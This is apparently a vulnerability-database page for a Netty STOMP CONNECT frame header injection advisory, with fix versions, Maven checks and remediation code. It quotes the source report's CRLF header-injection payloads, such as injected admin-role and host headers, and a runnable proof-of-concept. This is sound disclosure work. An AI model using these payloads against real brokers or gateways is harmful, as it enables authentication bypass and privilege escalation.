Vulnerabilities in pkg:maven/io.netty/netty-codec-stomp
PACKAGE
Advisory Identifier:
GHSA-3g8r-4pfx-jmfh
Advisory Summary
CVE-2026-59920 is a MODERATE (CVSS 6.5) stomp connect frame header injection vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Netty libraries in the Maven ecosystem. The issue involves stomp connect frame header injection in netty. Remediation is available by upgrading affected packages to version 4.2.16.Final, 4.1.136.Final.
2
Known Advisory Record(s)
Package Vulnerability Intelligence
2 Known Advisory Record(s)
pkg:maven/io.netty/netty-codec-stomp
Vulnerability advisories affecting package pkg:maven/io.netty/netty-codec-stomp. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3g8r-4pfx-jmfh | CVE-2026-59920 | MODERATE | Netty: STOMP CONNECT Frame Header Injection in Netty |
| GHSA-vhch-2wf3-m8rp | CVE-2026-44891 | HIGH | Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder |
CVE-2026-59920 at a Glance
CVE Identifier
CVE-2026-59920
GHSA Identifier
GHSA-3g8r-4pfx-jmfh
Severity
MODERATE
CVSS v3.1 Base Score
6.5
CWE Classification
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product
Netty
Package Ecosystem
Maven
Published Date
Last Updated
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-59920
To remediate this vulnerability, upgrade all affected Netty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
io.netty:netty-codec-stomp
fixed: 4.2.16.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-stomp</artifactId>
<version>4.2.16.Final</version>
</dependency>
io.netty:netty-codec-stomp
fixed: 4.1.136.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-stomp</artifactId>
<version>4.1.136.Final</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.nettyHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-59920, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.nettyAnalyze the terminal output to locate any version of Netty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.16.Final), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Netty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty
## 1. Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | Netty |
| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |
| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |
| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |
| **Impact** | STOMP Header Injection / Authentication Bypass |
| **CVSS 3.1 Score** | **6.5 (Medium)** |
| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | Low |
| **User Interaction** | None |
| **Scope** | Unchanged |
| **Confidentiality Impact** | None |
| **Integrity Impact** | High |
| **Availability Impact** | None |
## 2. Affected Components
- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)
- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)
## 3. Vulnerability Description
The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.
### Root Cause
In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:
```java
private static boolean shouldEscape(StompCommand command) {
return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}
```
When `shouldEscape()` returns `false`, header values are written without any escaping (line 195):
```java
CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output
buf.writeByte(StompConstants.LF);
```
For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`.
### STOMP Specification Context and Security Analysis
The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.
**However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:
- **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT)
- **Validation** = rejecting header values that contain `\n` (spec does not prohibit this)
Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`.
This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.
**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.
**Summary**: The vulnerability exists because:
1. Header values in CONNECT frames are **neither escaped nor validated** for newlines
2. A raw newline in a header value creates a **new header line** on the wire
3. The STOMP broker parses each line as a separate header
4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance
## 4. Exploitability Prerequisites
This vulnerability is exploitable when **all** of the following conditions are met:
1. The application uses Netty's `codec-stomp` module to encode STOMP frames
2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame
3. The application does **not** perform its own newline sanitization
4. The downstream STOMP broker processes the injected headers (broker-dependent)
**Typical affected use cases**:
- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials
- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms
- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames
## 5. Attack Scenarios
### Scenario 1: Authentication Bypass via Header Injection
An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:
```java
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");
```
**Wire format sent to broker:**
```
CONNECT
host:localhost
login:guest
passcode:password
admin-role:true <-- INJECTED HEADER
<-- Empty line (end of headers)
\0
```
The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.
### Scenario 2: Subscription Hijacking
```java
frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");
```
This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).
### Scenario 3: Header Overwrite
```java
frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");
```
**Wire format:**
```
CONNECT
login:user
login:admin <-- INJECTED, may override first
...
```
Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.
## 6. Proof of Concept
### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)
```java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;
import java.nio.charset.StandardCharsets;
/**
* PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
*
* Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
* CONNECTED commands, allowing \n injection in header values to create
* additional STOMP headers.
*/
public class StompConnectHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");
testConnectHeaderInjection();
testConnectVsOtherCommand();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: CONNECT command header injection via \n in value
*/
static void testConnectHeaderInjection() {
System.out.println("[TEST 1] CONNECT Header Value Injection");
System.out.println("-----------------------------------------");
// Craft a CONNECT frame with \n in passcode value
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
headers.set(StompHeaders.LOGIN, "user");
headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input passcode: \"password\\nadmin-role:true\"");
System.out.println();
System.out.println("Encoded STOMP frame:");
System.out.println("---");
// Show with visible control chars
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0"));
}
System.out.println("---");
// Check if the injected header appears as a separate line
boolean hasInjectedHeader = false;
String[] lines = encoded.split("\n");
for (String line : lines) {
if (line.startsWith("admin-role:")) {
hasInjectedHeader = true;
break;
}
}
System.out.println();
System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
System.out.println("VULNERABLE: " + (hasInjectedHeader ?
"YES - Header injection in CONNECT frame!" : "NO"));
// Count actual STOMP headers (lines between command and empty line)
int headerCount = 0;
boolean inHeaders = false;
for (String line : lines) {
if (line.equals("CONNECT")) {
inHeaders = true;
continue;
}
if (inHeaders && line.trim().isEmpty()) break;
if (inHeaders && line.contains(":")) headerCount++;
}
System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
System.out.println("Actual headers: " + headerCount);
System.out.println();
}
/**
* Test 2: Compare CONNECT (no escape) vs SEND (with escape)
*/
static void testConnectVsOtherCommand() {
System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
System.out.println("--------------------------------------------");
String maliciousValue = "value\ninjected:evil";
// Test CONNECT (no escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.HOST, "localhost");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Raw \\n in output: " + hasRawNewline);
System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
}
System.out.println();
// Test SEND (with escape)
{
DefaultStompHeaders headers = new DefaultStompHeaders();
headers.set(StompHeaders.DESTINATION, "/queue/test");
headers.set("custom", maliciousValue);
DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
frame.headers().setAll(headers);
EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
channel.writeOutbound(frame);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));
boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
boolean hasRawNewline = encoded.contains("value\ninjected:evil");
System.out.println(" Escaped \\n: " + hasEscapedNewline);
System.out.println(" Raw \\n: " + hasRawNewline);
System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
}
System.out.println();
}
}
```
### How to Compile and Run
```bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
java -cp "$JARS:." StompConnectHeaderInjectionPoC
```
### PoC Execution Output (Verified on Netty 4.2.12.Final)
```
=== Netty STOMP CONNECT Header Injection PoC ===
[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: "password\nadmin-role:true"
Encoded STOMP frame:
---
CONNECT
host:localhost
accept-version:1.2
login:user
passcode:password
admin-role:true <-- INJECTED HEADER
\0
---
Injected 'admin-role' appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers: 5
[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom="value\ninjected:evil":
Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
Raw \n in output: true
VULNERABLE: YES
SEND frame with custom="value\ninjected:evil":
Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
Escaped \n: true
Raw \n: false
SAFE: YES
=== PoC Complete ===
```
### Key Observation
The PoC demonstrates a clear inconsistency:
- **CONNECT** command: `\n` is written **raw** → header injection succeeds
- **SEND** command: `\n` is escaped to `\\n` → header injection prevented
## 7. Impact Analysis
| Impact Category | Description |
|----------------|-------------|
| **Authentication** | Injected headers may bypass broker authentication logic |
| **Authorization** | Role escalation via injected role/permission headers |
| **Integrity** | Modification of connection parameters (host, version, etc.) |
| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |
### Affected Brokers
This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:
- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
- **ActiveMQ**: May process custom headers for internal routing
- **Custom Brokers**: Most likely to be affected if they trust all received headers
## 8. Remediation Recommendations
### Option 1: Validate CONNECT Header Values (Recommended)
Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:
```java
private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
StompCommand command = frame.command();
ByteBufUtil.writeUtf8(buf, command.toString());
buf.writeByte(StompConstants.LF);
boolean shouldEscape = shouldEscape(command);
for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
CharSequence headerKey = entry.getKey();
CharSequence headerValue = entry.getValue();
if (shouldEscape) {
headerKey = escape(headerKey);
headerValue = escape(headerValue);
} else {
// For CONNECT/CONNECTED: don't escape but REJECT newlines
validateNoNewlines(headerKey, "header name");
validateNoNewlines(headerValue, "header value");
}
ByteBufUtil.writeUtf8(buf, headerKey);
buf.writeByte(StompConstants.COLON);
ByteBufUtil.writeUtf8(buf, headerValue);
buf.writeByte(StompConstants.LF);
}
buf.writeByte(StompConstants.LF);
}
private static void validateNoNewlines(CharSequence value, String type) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\n' || c == '\r') {
throw new IllegalArgumentException(
"STOMP CONNECT " + type + " contains illegal newline at index " + i);
}
}
}
```
### Option 2: Apply Escaping to All Commands
Simply remove the CONNECT/CONNECTED exception:
```java
private static boolean shouldEscape(StompCommand command) {
return true; // Always escape
}
```
Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.
## 9. References
- [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html)
- [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding)
- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)
- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
CVE-2026-59920 Affected Netty Versions
2 component(s)
Fixed Versions:
4.2.16.Final4.1.136.Final
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.netty:netty-codec-stomp
|
Maven |
≥ 4.2.0.Final
< 4.2.16.Final
|
4.2.16.Final
|
|
io.netty:netty-codec-stomp
|
Maven |
< 4.1.136.Final
|
4.1.136.Final
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh
Netty Source Repository
REPOSITORY
https://github.com/netty/netty
Netty Release
RELEASE
https://github.com/netty/netty/releases/tag/netty-4.1.136.Final
Netty Release
RELEASE
https://github.com/netty/netty/releases/tag/netty-4.2.16.Final
Frequently Asked Questions
What is CVE-2026-59920?
CVE-2026-59920 is a security vulnerability in Netty involving STOMP CONNECT Frame Header Injection in Netty under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Netty versions are affected?
Affected versions include releases prior to 4.2.16.Final, 4.1.136.Final across affected packages: io.netty:netty-codec-stomp.
What version fixes CVE-2026-59920?
Upgrading to 4.2.16.Final, 4.1.136.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-codec-stomp affected?
Yes, io.netty:netty-codec-stomp is affected in releases prior to 4.2.16.Final, 4.1.136.Final. Upgrade your dependency to 4.2.16.Final, 4.1.136.Final or later.
What is the CVSS score of CVE-2026-59920?
CVE-2026-59920 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-59920?
CVE-2026-59920 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Maven dependencies for CVE-2026-59920?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-3g8r-4pfx-jmfh",
"modified" : "2026-07-22T21:52:28Z",
"published" : "2026-07-22T21:52:27Z",
"aliases" : [ "CVE-2026-59920" ],
"summary" : "Netty: STOMP CONNECT Frame Header Injection in Netty",
"details" : "# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue); // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification's intent is that CONNECT headers should not use the `\\n` → `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don't do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true <-- INJECTED HEADER\n <-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin <-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n testConnectHeaderInjection();\n testConnectVsOtherCommand();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: CONNECT command header injection via \\n in value\n */\n static void testConnectHeaderInjection() {\n System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n System.out.println(\"-----------------------------------------\");\n\n // Craft a CONNECT frame with \\n in passcode value\n DefaultStompHeaders headers = new DefaultStompHeaders();\n headers.set(StompHeaders.HOST, \"localhost\");\n headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n headers.set(StompHeaders.LOGIN, \"user\");\n headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n frame.headers().setAll(headers);\n\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n System.out.println();\n System.out.println(\"Encoded STOMP frame:\");\n System.out.println(\"---\");\n // Show with visible control chars\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n }\n System.out.println(\"---\");\n\n // Check if the injected header appears as a separate line\n boolean hasInjectedHeader = false;\n String[] lines = encoded.split(\"\\n\");\n for (String line : lines) {\n if (line.startsWith(\"admin-role:\")) {\n hasInjectedHeader = true;\n break;\n }\n }\n\n System.out.println();\n System.out.println(\"Injected 'admin-role' appears as separate header: \" + hasInjectedHeader);\n System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n // Count actual STOMP headers (lines between command and empty line)\n int headerCount = 0;\n boolean inHeaders = false;\n for (String line : lines) {\n if (line.equals(\"CONNECT\")) {\n inHeaders = true;\n continue;\n }\n if (inHeaders && line.trim().isEmpty()) break;\n if (inHeaders && line.contains(\":\")) headerCount++;\n }\n System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n System.out.println(\"Actual headers: \" + headerCount);\n System.out.println();\n }\n\n /**\n * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n */\n static void testConnectVsOtherCommand() {\n System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n System.out.println(\"--------------------------------------------\");\n\n String maliciousValue = \"value\\ninjected:evil\";\n\n // Test CONNECT (no escape)\n {\n DefaultStompHeaders headers = new DefaultStompHeaders();\n headers.set(StompHeaders.HOST, \"localhost\");\n headers.set(\"custom\", maliciousValue);\n\n DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n frame.headers().setAll(headers);\n EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n channel.writeOutbound(frame);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n System.out.println(\" Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n System.out.println(\" Raw \\\\n in output: \" + hasRawNewline);\n System.out.println(\" VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n }\n\n System.out.println();\n\n // Test SEND (with escape)\n {\n DefaultStompHeaders headers = new 